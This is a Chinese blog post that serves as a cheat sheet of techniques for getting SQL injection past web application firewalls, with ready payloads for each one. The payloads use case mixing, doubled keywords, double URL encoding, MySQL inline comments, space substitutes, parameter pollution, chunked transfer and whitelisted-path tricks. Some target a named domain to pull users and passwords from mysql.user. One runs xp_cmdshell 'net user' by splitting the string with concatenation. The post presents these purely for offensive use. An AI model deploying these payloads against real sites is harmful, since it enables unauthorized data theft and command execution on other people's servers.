美文网首页
11.绕过waf sql注入

11.绕过waf sql注入

作者: 皮蛋是个臭蛋 | 来源:发表于2020-08-18 23:16 被阅读0次

    绕过waf的方法:
    1.白名单、2改变请求方法、3.大小写绕过 、4.url编码绕过、5.组合绕过、6.复参数绕过
    7.双写绕过、8.waf特性(可在关键字中,)9.内联注释绕过、10.特殊字符换空格(//、/|%23--%23%|/、/!%aa*/、%0a) 、11.特殊字符+拼接 、12.分块传输 、13.使用其他变量或命令进行替换

    如何绕过云waf:
    1.利用brupsite的插件bypasswaf添加请求头

    1、白名单绕过
    (1).伪造user-agent头,或者使用火狐插件User Agent Switcher

    *使用brupsute替换user-agent头:


    image.png

    *批量换user-agent:


    image.png

    (2).伪造白名单特殊目录
    360webscan脚本存在这个问题,就是判断是否为admin dede install等目录,如果是则不做拦截。
    例子:比如:www.spisec.com/pen/news.php?id=1 union select user,password from mysql.user

    可以改为:
    www.spisec.com/pen/news.php/admin?id=1 union select user,password from mysql.user
    或者
    www.spisec.com/pen/admin/..\news.php?id=1 union select user,password from mysql.user
    现在需要自己添加白名单目录进行配置。

    2、大小写绕过
    sql.php?id=1 And 1=1

    3、双写绕过注入(关键字被过滤的情况下可使用)
    sql.php?id=1 anandd 1=1

    4、编码绕过注入
    将注入语句关键字使用url编码2次,服务器会自动给url进行一次url解码。例如:sql.php?id=1 %25%36%31%25%36%65%25%36%34 1=1(对and进行两次编码)

    5、内联注释绕过注入

     /*!*/是mysql特有的注释方式,意为不注释掉里面的内容。
    sql.php?id=1%20/*!and%20*/%20-1=-1
    

    6、修改请求方式绕过
    可以将get请求方法修改为post和cookie。waf默认是post和cookie是关闭状态。
    可以在brupsite进行修改。

    7、复参数绕过
    正常写法是sql.php?id=1 And -1=-1
    复参数的写法是:
    sql.php?id=1 &id=and&-1=-1

    8、特殊字符替换空格
    在mysql中使用%0a代替空格。

    image.png

    在sqlserver中使用/**/ 代替空格。


    image.png

    /*|%23--%23|*/代替空格:

    image.png

    /*%!aa*/也代表空格
    %在sql里面是任意字符的意思,也就是/*和!之间假如有字符,它就不会执行这个内联注释里面的内容,被认为是普通的注释

    9、特殊字符拼接 +
    mssql可以使用"+"把特殊字符拼接起来绕过waf的检测。
    如:GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')
    可以改为:GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')

    10、利用WAF本身的功能绕过

    把"*"替换为空  (waf规则不同)
    uni*on+sel*ect+1,2,3,4....
    或者其他的方法:
    

    11、使用其他变量或者命令对 注入语句进行替换 COMMAND | WHAT TO USE INSTEAD
    @@version | version()
    concat() | concat_ws()
    group_concat() | concat_ws()
    = | like
    or 1=1可以替换为 or MOD(8,1) in 1

    12、组合方法:
    1、 关键字替换法+URL编码
    正常写法:sql.php?id=1 and -1=-1 (将and替换为&&在进行url编码)
    替换后:sql.php?id=1 %26%26 -1=-1
    1.利用()代替空格
    2.利用mysql特性执行语句
    3.利用混淆代码
    我给出的注入语句是:

    union/*%00*//*!50010select*/(database/**/()),(user/**/())%23
    id=1/*|%23--%23|*/unioN/*|%23--%23|*/sElect/*|%23--%23|*/1,     user(),(database/**/()),4,5
    
    http://192.168.0.102:8080/sql.php?id=1 union/*%00*//*!50010select*/1,user(),version(),4,5
    这里要注意的几点是:
    1.mysql关键字中是不能插入/**/的,即se/**/lect是会报错的,但是函数名和括号之间是可以加上/**/的,像database/**/()这样的代码是可以执行的
    2./*!*/中间的代码是可以执行的,其中50010为mysql版本号,只要mysql大于这个版本就会执行里面的代码
    3.数据或者函数周围可以无限嵌套()
    4.利用好%00
    
    

    3、内联注释+替换空格法

    sql.php%20?id=1%20/*!union*//*%!aa*//*!50010select*/%20(database/**/()),(user/**/())
    

    13、分块传输
    在brupsite抓包之后发送到重发器,选择变更请求方法。


    image.png

    在请求头中添加下面内容:


    image.png

    Order by 可以改为group by或group by()去绕过 。

    14.使用brupsute的插件bypasswaf 添加请求头(可过云waf)


    image.png image.png

    或者在路径前加上随机路径../


    image.png
    image.png

    相关文章

      网友评论

          本文标题:11.绕过waf sql注入

          本文链接:https://www.haomeiwen.com/subject/rzykjktx.html